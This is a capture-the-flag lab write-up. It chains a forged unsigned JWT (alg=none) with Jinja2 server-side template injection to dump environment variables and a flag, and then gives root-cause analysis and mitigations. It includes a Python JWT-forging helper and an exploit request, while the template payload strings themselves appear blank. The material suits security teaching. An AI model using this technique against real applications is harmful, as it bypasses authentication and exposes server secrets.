Server-Side Template Injection via Unsigned JWT Claim | GeoJearyy
Lab Link
Lab: GeoJearyy
Overview
GeoJearyy is a beverage storefront where authenticated users can browse flavours, add products to the cart, and view their account dashboard.
During testing, the authentication cookie stood out because the application trusted a JWT named gj_auth. By modifying this token and setting the JWT algorithm to none, it was possible to control the username claim.
The controlled username was then reflected inside the account page greeting. Instead of being rendered as plain text, the value was evaluated by the server-side template engine, leading to Server-Side Template Injection.
Objective
Gain code execution or sensitive data disclosure through the application and retrieve the challenge flag.
Vulnerability Identification
1
2
3
4
5
OWASP Top 10:2025
└── A05 - Injection
└── Server-Side Template Injection
└── User-controlled JWT claim rendered inside server-side template
└── Jinja2 object traversal used to access os.environ
A secondary weakness also helped exploitation:
1
2
3
4
Authentication Weakness
└── JWT accepts alg=none
└── Attacker can forge unsigned token claims
└── username claim becomes attacker-controlled input
Reconnaissance
After logging in, the application issued two cookies:
1
Cookie: session=<flask-session>; gj_auth=<jwt>
The normal account page used the JWT identity to display a greeting:
1
Welcome back, kelvin!
This suggested that the value inside the JWT was being used directly in the account template.
The important cookie was:
1
gj_auth=<JWT_TOKEN>
Decoding the JWT showed user-controlled profile data such as:
1
2
3
4
5
6
{
"username": "kelvin",
"email": "kelvin@kel.com",
"iat": 1781169989,
"exp": 1781173589
}
Testing JWT Trust
The JWT header was modified to use the none algorithm:
1
2
3
4
{
"alg": "none",
"typ": "JWT"
}
Because the application accepted the unsigned token, the payload could be modified without knowing any signing secret.
A forged token structure looked like this:
1
base64url(header).base64url(payload).
Notice the trailing dot. That represents an empty signature.
SSTI Payload
To test whether the username was being evaluated by the server-side template engine, the username claim was replaced with a Jinja2 expression.
Initial test payload:
If the account page returned:
1
Welcome back, 49!
that confirmed Server-Side Template Injection.
After confirming template evaluation, the payload was upgraded to read environment variables:
The forged JWT payload became:
1
2
3
4
5
6
{
"username": "",
"email": "kelvin@kel.com",
"iat": 1781169989,
"exp": 1781173589
}
Forging the Token
A simple Python helper can generate the unsigned JWT:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import base64
import json
import time
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
header = {
"alg": "none",
"typ": "JWT"
}
payload = {
"username": "",
"email": "kelvin@kel.com",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
token = (
b64url(json.dumps(header, separators=(",", ":")).encode())
+ "."
+ b64url(json.dumps(payload, separators=(",", ":")).encode())
+ "."
)
print(token)
This produced a token in the following format:
1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.<payload>.
Exploitation Request
The forged token was then placed inside the gj_auth cookie and the account page was requested:
1
2
3
4
5
GET /account HTTP/2
Host: target
Cookie: session=<valid_session_cookie>; gj_auth=<forged_unsigned_jwt>
User-Agent: Mozilla/5.0
Accept: text/html
Proof of Exploitation
The server rendered the injected template expression inside the account greeting:
1
2
3
4
5
6
7
8
9
<h1 class="display greet">
Welcome back, environ({
'PYTHON_VERSION': '3.11.15',
'PWD': '/app',
'HOME': '/home/geojearyy',
'SERVER_SOFTWARE': 'gunicorn/22.0.0',
'FLAG': 'WEBVERSE{REDACTED}'
})!
</h1>
The presence of os.environ output confirmed that the template payload was executed server-side.
The flag was stored in an environment variable:
1
FLAG=WEBVERSE{REDACTED}
Root Cause Analysis
The issue was caused by two insecure implementation choices.
First, the application accepted JWTs using the none algorithm. This allowed an attacker to forge arbitrary claims without a valid signature.
Second, the username claim from the JWT was passed into a server-side template in an unsafe way. Instead of being treated as plain text, the value was evaluated by the template engine.
The vulnerable flow looked like this:
1
2
3
4
5
6
7
8
9
Attacker-controlled JWT
↓
Modified username claim
↓
Account page greeting
↓
Server-side template evaluation
↓
Environment variable disclosure
Impact
An attacker could use this vulnerability to:
- Forge authenticated identity data.
- Inject server-side template expressions.
- Access sensitive application internals.
- Read environment variables.
- Expose secrets, credentials, or challenge flags.
- Potentially escalate to remote code execution depending on template sandboxing and runtime permissions.
In this lab, the impact was confirmed by reading the FLAG environment variable.
Mitigation
To fix this issue:
- Never accept JWTs signed with
alg=none. - Enforce a strict allowlist of signing algorithms such as
HS256orRS256. - Always verify JWT signatures server-side.
- Do not trust identity claims directly from client-side cookies.
- Treat template variables as data, not template source.
- Never dynamically render user-controlled values with functions such as
render_template_string. - Store sensitive secrets outside the web process environment where possible.
- Add regression tests for JWT algorithm confusion and SSTI payloads.
A safer JWT verification approach should explicitly define the expected algorithm:
1
2
3
4
5
jwt.decode(
token,
key=JWT_SECRET,
algorithms=["HS256"]
)
A safer template rendering approach should pass user data as escaped variables:
1
return render_template("account.html", username=username)
and avoid rendering user-controlled strings as template source.
Real-World Insight
This challenge is a good example of how two medium-severity mistakes can combine into a critical vulnerability.
Accepting unsigned JWTs gave control over trusted identity data. Rendering that trusted identity data unsafely inside a server-side template turned claim manipulation into server-side code execution behavior.
Authentication data should never be treated as inherently safe just because it comes from a cookie or token. If the client can store it, the client can tamper with it unless the server verifies it correctly.